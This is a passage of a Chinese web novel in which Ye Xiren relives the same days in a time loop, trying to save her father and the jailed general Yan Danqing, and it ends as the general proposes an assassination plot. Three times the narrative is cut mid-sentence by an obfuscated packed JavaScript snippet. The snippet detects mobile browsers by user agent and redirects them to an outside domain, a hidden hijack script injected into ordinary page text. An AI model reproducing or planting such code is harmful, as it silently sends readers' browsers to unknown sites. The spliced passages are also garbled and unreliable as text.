“这个人就是忠勇侯严家仅剩的血脉,严小将军,名为——严丹青。” 叶沛呼吸变得粗重,抓着叶惜人的手收紧: “此人不过弱冠之年,就有极高天赋,甚至可以将流民拉成一支大军,领兵能力,世上罕见,圣上大喜,立即封他为新任忠勇侯,要钱给钱,要粮给粮,于是,有了去岁的数次大捷,并将北燕军死死拒在淮安渠外。” “可一切都在北燕送上和谈书的时候变了。”叶长明深吸一口气,接着说,“一个个不利于严小将军的消息传开,朝中人贪生怕死,想要和谈的官员越来越多,蒋相更是大力主张和谈,圣上心动,北燕使团入南都,严小将军截杀使团被陆仟背叛,下了狱。” 闻言,叶惜人闭上眼睛,满脸泪水。 这些事情她大多知道,毕竟从北都到南都,战乱数年,只是她从未想过,有一天,一个关乎国朝命运的人与他们家绑定在一起,想保他,他们家就得死,可不保他,国将亡。 “对不起……” 她不该下药。 叶沛摇摇头,温柔地看着女儿,又看向地上躺着的叶长明,还有满脸泪水的廖长缨。 “是我对不住你们。”叶沛眼眶通红,继续剖析着自己的想法,“赤盏兰策诡计多端,他越是要严小将军的命,就越说明严小将军重要,所以,我为了护他一日,差点带你们一起死,惜惜没错,是天不佑我大梁……” 他们这些人,终究没能力挽狂澜,救下这个破败的国。 应昌平早就满脸泪水,此刻听到这话,长枪推了推陆仟,恨得咬牙切齿:“还不快走!” 他可是来抓陆仟的。 陆仟丝毫不害怕,轻嗤一声: “叶大人啊,你努力这么久根本没用,大梁的气数尽了,老天安排北燕取而代之,这就是命数,大梁的命,你叶家的命。” 这些讨人厌的主战派给他们找了不少麻烦,等北燕铁蹄踏来那一天,这些人,一个都不留。 叶惜人轻轻放下叶长明。 她平静地擦掉眼泪,缓缓站起来,一双眼睛望向陆仟,乌黑的眼眸死死盯着他,轻声问:“命数吗?” “可我觉得,命数还没尽。”叶惜人说完,倏地冲向陆仟。 陆仟吓了一跳,本能抬手。 手上的刀寒光一闪,叶惜人脖颈撞了上去,这是她第一次主动“斩首”。 哪里就命数尽了? 还能重开。 再来! 17. 守家 第17章 大理寺,诏狱。 漆黑的地牢里面没有光,但借着狭长入口处的些微光亮,隐约可见里面坐着的男人,白色中衣被鲜血染红,铁链束缚住手脚。 他缓缓睁开眼睛,伸出手。 ——抓了个空。 男人低头看去,手边什么也没有,等了片刻,依旧没有动静。 他又抬头看向地牢入口处,暗道里面的烛光被风吹得跳动,却并没有人影出现,暗道里面安静异常。 时间一分一秒过去,依旧没有牢卒过来。 男人低下头去,铁链“哗啦”一声响,满是伤口的手拨开了身侧地上一根根草秸,原本光秃秃的地面上,此刻隐约可见划痕,是一个字—— 【六】 男人霎时皱眉。 咚咚。 脚步声响起,有两个人快步进来,男人耳朵动了动,抬头看过去,一道熟悉的身影出现,身后之人谄媚地为来人提着灯,一步步走近。 灯微微上提,露出了那人的脸,分明是皇城使陆仟! 陆仟上下打量里面关着的人,嗤笑一声:“又见面了,严小将军。” 严丹青抬头,视线扫他一眼,无悲无喜,又平静地收回,仿佛从来不将他放在眼里,冷漠又嘲讽。 陆仟面色瞬间变得难看。 他猛地抬手,右手握着的刀抵住里面的人,面目狰狞,咬牙切齿:“真讨厌你这番模样,严丹青,今日你必死无疑!” 严丹青听到“今日”二字,之前微皱的眉头缓缓松开,他终于开了口,久不说话,声音嘶哑晦涩: “你前日说过了。” 两日前的早晨,这人同样用刀指着他,面目狰狞,信誓旦旦:“三天后,你必死无疑。” 陆仟冷笑,满脸嘲讽:“严小将军啊,为这大梁殚精竭虑,但终要死在大梁人手上,真是好笑。” 严丹青依旧未被他激怒,眼神无波无澜。 “我且看着你被砍头的时候,是不是还是这番不怕死的君子模样!”陆仟提着灯愤愤转身,匆匆离开。 而严丹青并不理会,他放在身侧的手拨开草秸,缓缓抹掉那个“六”字,指甲划动,写下一个新的字—— 【七】 随后,他盯着那个字再次皱紧眉头。 - 菜市口刽子手高举双手,喷出一口烈酒,鬼头刀寒光一闪,重重落下,剧痛袭来,鲜血喷溅…… 叶惜人捂着脖子猛地坐起来,呼吸急促,满眼惊恐。 她又回来了! “姑娘?”雪婵快步进来,满脸担忧,“姑娘可是又做噩梦了?” 叶惜人深吸一口气,赶忙从床上下来,她丧着一张脸,已经熟门熟路开口:“快,给我穿好衣服,备车。” ——还得再次去救哥! 前两日的麻烦已经很能熟练处理,最难的是三月三,好在她提前回来,知道了不少消息,总有办法…… 雪婵拿过衣服给她穿着,有些疑惑: “姑娘今日又备车做什么?前儿大公子科举,姑娘就一大早备车出去,今日没有什么事情啊?” 叶惜人瞳孔一缩,面色骤变,不可置信地看向雪婵,张了张嘴,艰难发出声音:“你、你刚刚……说什么?” 雪婵愣住:“啊?” 叶惜人一把抓住她的手腕,一瞬间血液上涌,脑袋里面像是空了一般,声音颤抖:“雪婵,今日是几月几?” 雪婵虽然茫然,但还是老实回答:“三月三啊。” 姑娘这两日怎么了? 每日晨起第一句就是问日子,这是睡糊涂了吗? 叶惜人闻言身体一软,突然间没了力气,无力地坐回床榻上,身体止不住颤抖,满脸恐惧与惊骇。 三月三! 她回到了三月初三,不再是三月初一! “姑娘?”雪婵急了,“姑娘这是怎么了?来人,快去叫大夫!” 叶惜人白了脸,身体摇摇欲坠,沉入自己的世界中,喃喃:“三月三,今日怎么会是三月三?” 为什么会回到三月三? 明明之前都是三月初一啊,就只有今日特殊,难道……这是最后一次重生了? 想到这个答案,叶惜人整个人都慌了神,面白如纸,眼前阵阵发黑,她撑着床榻方才勉强稳住身形,不至于倒下去。 “是了,就算是菩萨保佑,也不会给我一次又一次机会,七次重生,难道是老天给我的所有机会?”叶惜人喃喃。 她不怕死的基础是可以回去重来,哪怕错了,还有机会。 可若这是最后一次…… 叶惜人满眼惊恐,打了个哆嗦。 今日若是叶沛上朝,满门抄斩,死就是真死了,她再没有救下家里人的机会,可若是不让叶沛上朝,这大梁可还有办法挽救? 一边是家破,一边是国亡。 顾不得雪婵着急的声音,叶惜人翻出一件斗篷抱在臂弯,匆匆跑出去,此刻正是叶沛即将上朝之时。 “惜惜?”叶沛见她气喘吁吁过来,有些担忧。 叶惜人迈入前院,轻声问:“爹,今日一定要去吗?没有其他办法?” 叶长明顿了顿,片刻后,扯了扯嘴角:“我有要去的理由,不可更改,惜惜,若是出了事,你们就尽快离开南都吧。” 上一个三月初二,他们就已经说开。 叶惜人确定他要去顶罪,没能阻拦,就是三月初三的早上下毒,强行阻止他,可后来发生的事情历历在目。 叶惜人眼眶通红,又问: “证据明日就会到来,真的没办法拖一天吗?哪怕先不认罪,关在大狱里面拖延时间也好……就一定要用你的命顶上?” 这可能是最后一次,死就真死了。 “这就是我们的计划。”叶沛不再瞒着她,苦笑,“今日朝上我会提出军粮案,由着他们调查,最后必然会查到我身上,能对军粮动手又隐瞒这么久的人,只有我与兵部尚书,他不会认罪,就只有我来。 “届时,我应当会被关入大理寺,交由你白伯父审问,我们已经商量好,他会与郑文觉等人一起拖延时间……” 顿了顿,叶沛还是选择实话实话:“这是最好的情况,但若是北燕逼得太紧,圣上不肯相信我们,严小将军依旧要死……那必要时候,我会认罪。” 叶惜人眼眶红了。 有过两次经验,她无比清楚,一切都是最糟糕的情况,他们没能拖过一天,他爹会死,叶家会满门抄斩。 叶沛哪怕猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319917|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到知道结果,依旧义无反顾。 叶惜人眼里含泪,声音轻轻:“好,那我送送你。” 叶沛轻叹口气,满脸不舍地揉了揉叶惜人脑袋,二人并肩,一起往大门方向走去,一时之间,竟无比安静。 ——叶沛走着一条死亡之路,而身为亲女,她没有阻拦。 天还未亮,夜风吹过,带来阵阵寒意。 叶惜人脑袋逐渐恢复清醒,她扭头问:“赤盏兰策如此算无遗漏,难道不知道严小将军死了,他也活不成吗?” “若是严小将军死了,那北燕太子必然翻脸,绝无和谈可能,届时北燕势强,朝中许多墙头草恐怕不敢杀他,这人亲入南都,以身入局……就是这种种冒险,才让无数官员相信他真要和谈。”叶沛忍不住苦笑,“最后,极可能真被他害得严小将军身死,而他还活着。” ——不,他死了。 叶惜人想到“昨夜”听到的消息,当真觉得一切犹如梦中,解不开,还弄不清楚。 “严小将军关在哪里?”叶惜人又问。 “陆仟的皇城司,诏狱里面。”叶沛再次叹气,“皇城司被张元谋参政和陆仟把控,我们的人连见一面都做不到。” 叶惜人心中一沉。 严丹青就在陆仟手上,可他却没有杀,分明是要借朝廷的手斩首,彻底击溃严家军,让北燕赢得更容易。 这赤盏兰策,当真是可怕! 叶惜人将叶沛送到了叶府门口。 叶沛停下脚步,扭头看向她,“就到这里吧,惜惜,活着比什么都重要,莫要逞强,今日带着你娘他们离开,你哥哥易冲动,你要拦住他……” 顿了顿,他最后叮嘱:“照顾好自己。” 说完,叶沛呼出一口气,大步迈出叶家门槛,门外马夫牵着一匹马等他,叶沛一身朱红色朝服,绯罗袍、朱裳、进贤冠,脊背挺直,走向高头大马,马儿前蹄微动。 【天不佑我大梁!】 叶惜人耳边,仿佛再次响起叶沛绝望的嘶吼,她眼眶越来越红。 叶沛去了就是满门抄斩,这是最后一次了,但她不会拦着,严小将军是个陌生人,他们不该为陌生人付出生命。 可是,爹不去,会死更多的人。 ——有国才有家。 叶沛走到马侧,黑夜当中,他突然转回身,朱红朝服一震,宽大衣袖朝着两边张开,双手于身前重合,弯下腰,朝着叶府深深一鞠。 对得起国,就对不起家。 叶沛直起身,衣袖一甩,利落地翻身上马,由着马夫牵着绳,走入黑暗当中,马蹄声渐渐远去,他已消失不见。 叶沛是叶惜人从小到大的山,可他为官,也是大梁朝的一座山。国将亡,仍有人愿为擎天柱,哪怕螳臂当车,飞蛾扑火。 叶惜人回头看去。 突然发现前院回廊深处,她娘竟然一直都在,站在朱漆圆柱后满脸泪水,却并未出声挽留,身边人最知道他要做什么,无声便是支持。 叶惜人平静地收回视线,打开手上黑色斗篷披在身上,绑好脖颈前的绳子,用斗篷上的帽子罩住半张脸,抬脚坚定地离开叶府,脚步匆匆。 她爹有自己要做的事情。 她也有。 爹要护国,她便守家。 18. 相信 第18章 陆仟刚从诏狱回来,心里窝着一把火,那竖子死到临头,竟然还一副无惧无畏的模样,实在是可恨! 他同严丹青的仇怨要追溯到儿时,忠勇侯一家收留他,教养他,但也让他看到被宠爱着长大的严丹青,有父有兄又是天之骄子,他这个有人生没人养的流浪儿怎么可能不嫉妒? 这时,手下匆匆进来,在陆仟不悦的视线中附耳低语:“大人,兰策殿下说今日定要严丹青人头,让大人配合北燕行动……” 陆仟不大高兴,皱眉:“严丹青就关在诏狱里面,直接杀了不行吗?” 赤盏兰策尽快回北燕坐镇军中,他这边杀了严丹青一了百了,到时候大梁同样打不过北燕,何必费这么多事,还要赤盏兰策亲身入南都冒险? “北燕殿下说,严丹青必须死在大梁朝廷的命令中,严家军才会乱。”那下属苦着一张脸,回道。 陆仟摆摆手:“行吧,我知道了。” 下属行礼后离开。 没一会儿,他又回来了。 陆仟越发不耐烦,烦躁道:“又怎么了?” 下属表情有几分古怪,抬头看了看陆仟,小心翼翼,“大人,门口来了个女子,说要见你……” “嗯?”陆仟一怔。 “她说她姓叶。”下属回。 陆仟想了想,恍然大悟,脸上也露出戏谑的笑,“姓叶啊?敢来皇城司,多半是那个胆大妄为的叶二姑娘了,放她进来。” 很快,一个披着黑色斗篷的单薄身影一点点走近。 她身后跟着另一个人高马大的汉子,那汉子腰间挂着一把带血镰刀,麻衣遮不住虬结身躯,凶神恶煞的表情看起来就不好惹。 “马山,你在这里等我。”叶惜人低声吩咐。 马山点点头,看了陆仟一眼,那眼神不大友好,又很快垂下眼眸遮住眼中的杀意,他站在了堂前院中,安静等待着。 叶惜人独自一人进屋。 陆仟看着她走近,好笑道:“叶二姑娘怎么想起来找我?昨儿不是还胆子大得很,敢戏耍我吗?” 在陆仟的记忆中,昨日是三月初二,他去叶家搜证据,没想到那佛像被替换成一只鞋,他什么都没拿到,还把“人证”扣留在了叶家。 按理来说陆仟应当生气,但此刻他心情很不错,昨儿胆大又如何?今日还不是老老实实主动上门,赔礼道歉。 陆仟上下打量叶惜人,一双眼睛从头扫到脚,像是在估量价钱,令人不喜。 然而,叶惜人才不是来赔礼道歉的,她开口便是直言:“我要见严小将军。” 陆仟:“?” 他一度怀疑自己听错了,不可置信:“你说什么?” 叶惜人望着他的眼睛重复:“我要见严小将军,立刻。” 陆仟气笑了,嗤笑一声,满脸嘲讽:“你说想见就见,凭什么?叶二姑娘跑到我这里来撒野,莫不是忘了我是谁?” 他一步步走近,眼神危险: “真当我脾气好了?” 叶惜人手指紧了紧,下意识攥紧斗篷,但她已经不是之前那个买凶都要害怕的闺阁小姐,想到这是她活命与救下叶家最后的机会,呼出一口气,平静开口: “陆仟,我想你不会希望别人知道,你早已暗中投靠赤盏兰策,身上流着北燕人的血。” 陆仟瞳孔一缩。 投靠赤盏兰策可以是猜测,但流着北燕人的血这条消息,却是陆仟从未被人知晓、隐瞒极好的秘密! “胡说八道!”他几乎是本能拔刀,长刀抵在叶惜人脖颈,杀意毕现。 外面,马山听不到对话,但能看到动作,同样握紧腰间镰刀,戒备地盯着里面的人,随时准备出手。 护卫在院中的皇城司众人紧随其后,一把把刀出鞘,盯紧马山。 气氛变得紧张,一触即发。 这把刀“杀”过叶惜人,她自然害怕,心跳一瞬间失控,但抿了抿唇,恐惧被藏在心底,面上看起来依旧冷静: “大人想杀我灭口吗?我只带了一个人,不代表我只有一个人,我若是出不去皇城司的大门,大人的秘密顷刻间就会传遍南都、传入宫中,一个流着北燕人血的皇城司指挥使,恐怕再也当不成,届时,不知你们的谋划是否还能顺利进行?” 陆仟死死盯着她,此刻哪还有半分戏谑,满眼遮不住的杀意,他一字一句:“叶惜人,话不能乱说,你有证据吗? 刀往下压了压。 “我敢来,自然是有,大人敢赌吗?”叶惜人反问,脖颈处溢出一条红线,但她寸步不让,此刻谁让了,谁就输了。 两人目光相对,无声对峙,外面,马山被皇城司的人团团围住,寒刀相向。 这一瞬间,陆仟想了许多。 他想杀了叶惜人,又想这人是怎么知道的,更是想……她背后究竟还有什么人?昨日走漏消息的真相他还没有查清,今日对方更是爆出他最大秘密。 这人背后有谁? 又还有什么是不知道的? 只要想到这些,就一阵阵胆寒。 刀突然收回,陆仟冷着脸,咬牙切齿:“还望叶二姑娘守好秘密,我带你去。”和谈马上开始,他必须拖着时间! 说完,刀收入鞘中,陆仟愤怒地抬脚往外走,声音里面是压不住的憋屈:“跟上!” 叶惜人背对着陆仟,长长地吐出一口气,她没证据,但她赌赢了。 兜帽下的额头早已经满是汗水,她冷静了几息,转身跟上时,看起来依旧从容镇定,有恃无恐。 余光观察着她的陆仟面色难看,不再侥幸,大步往前走,秘密被人揭开,脑子里面一团乱麻,思索着解决办法。 马山收起镰刀跟上叶惜人,两人并肩。 “你究竟在做什么?”马山压低声音。 叶惜人没有回答,只是说:“我在做很危险的事情,随时可能丢命,你跟着我一起,你也同样会……” 马山摇摇头:“这些你给钱的时候就说明白了,拿人钱财,替人消灾。” 他视线看向前方背对着他们的陆仟,握着镰刀的手紧了又紧,到底什么也没说,安静地跟着人走。 “我之前不是给了你银钱吗?你们这么缺钱?”叶惜人很是疑惑,这才几天,她给的二十两就花完了? “弟兄们都饿了许久,粮价太贵,吃不起饭。”马山平静地回了这么一句。 叶惜人皱眉:“北燕使团入京,和谈消息传开,南都粮价不是已经在几天内降了吗?我记得好像是二十钱一升?” 这两日虽然发生了很多事情,但她仍然记得之前与廖氏盘账时,她娘说粮价已经从五十钱降到了二十钱,她给的银子够花很长一段时间才对。 “怎么可能?粮价从来没有降过,昨儿傍晚我们去粮行,已经涨到了六十钱!”马山摇摇头,否定她的话。 叶惜人一惊,心中越发奇怪。 这时,他们已经来到诏狱门口,陆仟回头看向叶惜人与马山,冰冷道:“只能你一个人进去。” 叶惜人不过是个弱女子,进去与严丹青见一面也没关系,但这马山看起来就是有武功在身,陆仟绝不可能放他进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325659|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,叶惜人收起其他心思,打量陆仟神色,见他眉眼间全是烦躁,显然已经在忍耐的边缘徘徊,不容置喙。 “好。”于是,她点点头。 诏狱的门打开,叶惜人提着灯笼进去。 陆仟自然而然抬脚跟上,叶惜人转过身,灯笼抵住陆仟的路,摇摇头,“我一个人进去。” 陆仟:“?” ——他说的一个人,可不是自己也不进去! 见他要开口反对,叶惜人同样不容置喙,“既然是一个人进去,那就只有我一个人,这是我的唯一要求,否则……就没必要替陆大人守着秘密了,不见也罢。” 陆仟眼中杀意一闪而过,眼神冰冷。 叶惜人挑眉,又笑道:“陆大人在害怕什么?怕我把人劫走了吗?” 陆仟再次气笑了。 劫走? “叶二姑娘真看得起自己。”陆仟退后一步,站在门口,嘴角笑容阴冷,“那叶二姑娘自己进去吧,里面关着的可是逆党,钥匙就不必给二姑娘了。” 他不进去,就意味着不知道里面的人说什么,但只要不给钥匙,叶惜人也只能站在铁栏杆外面说上几句,拖到午时,严丹青一死,他就什么都不怕了。 对此,叶惜人没有反对,提着灯笼往里面走去,转过拐角,长长地吐出一口气。 总算顺利进来了。 诏狱里面漆黑一片,关着逆党严丹青,甚至连其他犯人都没留下,就只关了这一个人,可见要紧,叶惜人第一次来这样的地方,阴森冰冷的气息让人害怕,好像被毒蛇缠上,周身温度瞬间降下去。 她咽了咽口水,举起灯笼走过烛火跳动的巷道,走入带着血腥味的地牢。 灯笼缓缓举起来,烛光跳动,隐约可见关着的那个人影。 叶惜人没着急开口。 她举着灯笼走向靠近牢房的壁龛,将蜡烛点燃,她看过不少书,知道为什么这里面不点蜡烛,长久关在漆黑没有光亮的屋里也算是一种刑罚。 光线一点点亮起,彻底照亮里面坐着的男人,坐在草秸之上,一身血污,头发凌乱而毛躁,但脊背挺直,一双眼睛正疑惑地看着她,无声好奇。 两人目光相对。 叶惜人提着灯笼走近,声音带着试探:“严小将军?” 严丹青开口,晦涩沙哑: “你是?” 叶惜人松了口气,终于见到人了。 她提着灯笼在铁栅栏前面蹲下,一双乌灵灵的眼睛看着里面的人。 明明是糟糕模样,这人却一点都不显得狼狈,反而仍有气度,烛光映照之下,只能看到脸部棱角分明的流畅轮廓,以及一双清明的眼睛,似能看透一切。 “我叫叶惜人,是户部尚书叶沛之女,你没有回过京都,可能不知道叶沛是谁,但是,朝中如今分为两派,主战派与主和派,主和派要杀你,主战派要保你。” 叶惜人尽量长话短说,继续: “我爹就是主战派之一,今日三月三是和谈之日,北燕首个要求就是杀你,若无意外,午时你会被斩首示众,但我爹想保你,所以,今日他要为你顶罪,承认是他贪污军粮,圣上震怒,判他满门抄斩……” 说到这里,叶惜人突然意识到,这些都是还没有发生的事情,眼前之人同她素不相识,未必会信她。 叶惜人抿了抿唇,又说:“我知道你可能不相信我,但眼下局势——” 严丹青听到很认真,听到这里却是突然笑了,打断她: “我相信你。” 叶惜人:“?” 19. 希望 第19章 不是,她都还没证明自己,这人怎么就相信了? ——会不会太容易相信人了? 叶惜人愣住,表情一瞬间变得十分古怪,仔细打量着面前的人,虽说是赫赫有名的将军,但毕竟此刻被困在牢里,只着染血的白色中衣,地牢里最是冷冽,衣衫单薄,倒显得人有几分脆弱、苍白,不似传言中凶神恶煞。 唉,毕竟还是年轻,容易相信人。 叶惜人心道。 严丹青看着她写脸上的心思,眉眼柔和下来,嘴角微微上扬,所有的困惑与不解,都在叶惜人出现在他面前这一刻,变得无比清晰。 原来……如此。 烛火跳动中,他望着叶惜人乌灵灵的眼睛,缓声解释: “我没见过叶大人,但大人做户部尚书也有好些年,我自小在边关长大,后来又带领严家军打仗,没少与户部、兵部打交道,我知晓叶大人是个什么样的人。 “叶大人是好人,我能活到现在,朝中一定有不少人在努力,叶大人会替我顶罪,怕是主战派被赤盏兰策逼到绝境,穷途末路。” “你们不够了解赤盏兰策,此人心狠手辣,擅于在生死之间博胜算,他曾言这一生只有一个心愿,让北燕占据中原大地,吞没大梁,他绝没有一丝和谈的可能!” 严丹青身体动了动,铁链哗啦响动。 叶惜人方才注意到他被一根根铁链束缚着,怕他跑掉,两只脚上、腰上、手腕上、脖颈上全都缚着铁链,困得死死的。 而铁链与皮肉接触的地方,血肉模糊,一旦动起来,就有鲜血溢出。 叶惜人有些难受。 不管严小将军做了什么,去岁救大梁于危难当中,征战沙场,又是满门忠烈之后,都不该遭受这样的痛苦。 严丹青看懂她的眼神,笑着摇摇头,就好似没察觉到疼痛般,继续: “叶大人一旦认罪,按照圣上黑白分明的性子,满门抄斩极有可能,而叶大人替我顶罪,必是让朝中许多人没能达成心愿,愤怒的他们不会让你们好过,过不了今日,叶家就会被斩首示众,以此警告其他人莫要看不清局势,阻拦和谈。 “叶大人是好官,你们叶家人牵扯其中更是无辜,抱歉,是我连累了你们。” 他看向叶惜人,昏暗的烛光中,一双眼睛明亮,里面有歉意,也有说不清的复杂感慨,倒影着烛火,像是跳动的火焰,令人心惊。 ——他竟然全都猜准了! 叶惜人心头一跳。 刚还觉得此人年轻,又在这些分析当中看清他的聪慧,原以为要费很多心思才能取信他,现在看来,全都不必。 叶惜人深吸一口气,逐渐恢复冷静,摇摇头,声音轻轻:“没有什么连累不连累,你不能死,你若死了,头颅送往淮安渠,严家军必乱,国将亡。” ——那是已知的结局。 “你不能死,但我也想活。”她身体往前,一字一句,“所以,我来找你。” - 朝堂 叶沛跪在地上,神情凝重,掷地有声: “……臣已经查明,那批送往严家军的军粮确有问题,严小将军实非逆党,圣上万不可斩杀此等忠烈之人!严小将军一死,严家军必乱,届时北燕铁蹄轻易就能踏破淮安渠,攻入南都。” 参知政事张元谋当即冷笑反驳:“叶大人真是杞人忧天,那北燕太子还在南都,今日就是两国和谈之日,现在着急为一个逆党说情是何意?” “是呀,若是耽误和谈,惹得北燕人生气,又该如何?” “怕什么?!北燕有骑兵,我们大梁也有严家军,只要放忠勇侯去淮安渠,夺回北都,指日可待。” “呵,那严丹青乃谋逆之人,让他回到淮安渠,恐怕北燕人还没打过来,严家军已经打进了南都,谋朝篡位!” …… 双方争吵起来,寸步不让。 主战派人少,但个个都悍不畏死,吵起架来很是凶悍,声音不输主和派。 上首皇帝皱眉,揉了揉眉心,看向叶沛:“叶尚书,你可有证据?” 叶沛一顿,继续:“证据明日便到,只等一日,一切黑白就都分明了。” “明日?今日就要和谈,早已是两国商量好的日子,北燕使团已经入宫,此刻就在乾元殿休息,你现在想要改到明日?真是不怕那北燕太子翻脸。” “北燕不是想和谈吗?等一日都不行?” 又吵了起来。 另一个参知政事刘多喜笑眯眯: “兰策殿下看起来脾气好,极好说话,但大家别忘了,我们大梁是怎么一败涂地,又是被谁撵到南都来的?那位殿下可未必好说话。” 叶沛眼神一沉,这朝中官员大多成了主和派,眼下三月三……是所有人都不藏着了。 - 皇城司,诏狱。 叶惜人望着他,一脸严肃,“圣上震怒是因为你行逆党之事,我爹说其中有隐情,明日证据才会送到南都来,你有其他办法或是证据,帮你提前脱罪吗?” 拖延时间恐怕已经不行,但只要今日就拿到有用证据,为严丹青洗清部分罪证,无论是他的危局还是叶家的危局,都能立刻化解。 当然,前提是……他真的无辜。 叶惜人对此心中惴惴。 严丹青回视她,没说办法与证据,反而说起军粮,“新岁开年,正是青黄不接的时候,对北燕骑兵的影响更甚,我想要趁机发动大战,一举击溃北燕军,朝廷这时候送来新的粮草,至关重要。” 叶惜人心头一紧,绷紧神经,看来就是叶沛口中的问题军粮了! “那批军粮有问题,根本不是粮食,而是一批河沙。”严丹青肯定了叶惜人的猜测,令人倒吸一口冷气。 “那时军中缺粮,北燕虎视眈眈,为不动摇军心,我不敢声张,便暗地里请求圣上调查,并再次向朝廷请粮,杳无音信。” 严丹青盯着叶惜人眼睛,微微出神: “连着送出三封请粮信后,我便收到圣上让我陈情的旨意,于是,我又接连写了三封陈情书,八百里加急送往南都,但是,我后来才知晓,圣上一封都没见到。” 最后一句话,严丹青说得平静,却令人越发心惊,叶惜人捂着胸口,心脏好似都要跳了出来,整个人心神动荡不安。 八百里加急必会被直接送到御前,是谁藏着了,又是谁有能力藏着?! “蒋相。”严丹青缓缓吐出这个名字,眉头紧锁,“我怀疑是他,同中书门下平章事兼枢密使蒋游。” 叶惜人腿一软,坐在了地上。 手上一松,灯笼滑落到了一旁,火光不安跳动。 - 朝堂 站在所有官员最前面的人突然开口: “圣上,昨日臣见了北燕太子兰策殿下,他说此次和谈北燕实为诚心,三月青黄不接,他们的人和马都不想久留,想尽快回草原,只要今日和谈顺利,签下和谈书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330080|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北燕立刻撤军,他可以为质子,等北都交割结束后,方才离开南都。” 众人一震。 就连皇帝梁越都下意思看向说话之人,他年岁比叶沛大一些,微微发白的头发与胡须都昭示着他的年纪,但一双精神矍铄的眼睛又无比犀利清醒。 此人正是大梁宰相,蒋游。 “果真?”梁越坐直身体。 蒋游点点头:“那赤盏兰策在北燕地位极高,又是北燕王最宠爱的儿子,无冕之王,有‘圣子’之称,对北燕至关重要,他愿意为质子,已说明北燕诚意。” 说完,他又看向叶沛,眼神冷了下来,“我大梁如今内忧外患,不堪重负,你们眼中只有征战,全是为留一个英勇之名的一己之私,可还看得见大梁如今危局、战乱中流离失所的百姓? “为阻止和谈,竟然提出军粮有问题拖延时间,空口白牙,有证据吗?叶沛,这段时间闹得足够了,到此为止吧。” 最后一句,警告十足。 叶沛看向他,厉声质问:“蒋相,你一力主张和谈,真不怕后悔吗?若是害我大梁,毁朝廷根基,死后有什么脸面见列祖列宗?!” 蒋游听着质问,目光看向前方,眼神平静,“我知道你们在背地里骂我什么,但我也知道,我没错,青史自会为我正名。” 朝廷之上,一时极致安静。 上首,皇帝梁越张了张嘴,似乎有了决断。 叶沛一咬牙,余光看向身后。 白成光闭上眼睛深吸一口气,出列跪下—— “臣大理寺白成光,具本参劾户部尚书叶沛,那送往严家军的军粮确有问题,叶尚书信誓旦旦,只因那军粮之事乃他所为。 “叶沛贪污军费,致使送往淮安渠军粮有假,严小将军严丹青所谓屠杀官吏、坑杀流民之罪,皆与假军粮有关,户部账本为叶沛所做假账,一查便知,臣已寻得另一账本,可为佐证!” 话音落地,朝中霎时一静。 “白大人,你与叶沛向来交好,怎么……”张参政不可置信。 白成光满脸愤愤,拔高声音:“正是因为交好,所以才能意外得知他所行之事,臣实在不愿与这样的人为伍!” 蒋游猛地回过头,死死盯着叶沛,眼神冰冷。 叶沛余光与他相对,随后收回视线,目不斜视,一副委屈的模样匍匐在地,喊道: “臣冤枉啊!” - 皇城司,诏狱。 “蒋游比我更得圣心,空口白牙,圣上不会信我,必须要证据,而就算找到证据,真能送到御前吗?”严丹青声音平静,说起这些困难竟丝毫没有情绪。 这种平静更似绝望,主战派挣扎了许久,而真正的主战之人其实是严丹青,他挣扎了更久,可用尽办法最终都没有作用,才会落到今天这一步。 叶惜人整个人都像是泄了气,颓废地坐在地上,喃喃:“那还有什么办法?这是最后一次机会,难道又要眼睁睁看着叶家满门抄斩吗?” 她辛苦来到诏狱,见到这位严小将军,竟然想不到一点办法? 绝望蔓延,叶惜人眼中有了湿意。 这时严丹青身体往前,抬眸望着她,压低声音:“那就请叶姑娘帮我一个忙,或许还有转机。” “什么?”叶惜人坐直身体,眼中燃起希望。 严丹青一字一句:“杀了赤盏兰策!” 叶惜人:“???” ——你是不是有点太看得起我? 20. 春昼(入V预告) 第20章 杀北燕太子赤盏兰策? 她?? 这个决定是不是……太草率了? 叶惜人一度怀疑自己听错了,要不就是这位严小将军脑子出了问题,他都杀不掉赤盏兰策,竟然让她去。 赤盏兰策要是好杀的话,眼前之人就不会被关在这里。 见她一脸震惊,眼睛瞪得又大又圆,严丹青没忍住嘴角上扬,眉眼间带上点点笑意,摇摇头,将后面的话说完: “在上次刺杀之前,我考虑过会有失败的可能,将一块私令藏在南都城中,我告诉你地方,你拿到令牌后去找我留在南都的人,他们将会听你号令……” 他神情变得凝重,身体前倾,低声说着早已想好的刺杀计划,叶惜人耳朵靠近,认真倾听,眼睛越瞪越大,整个人都支棱起来。 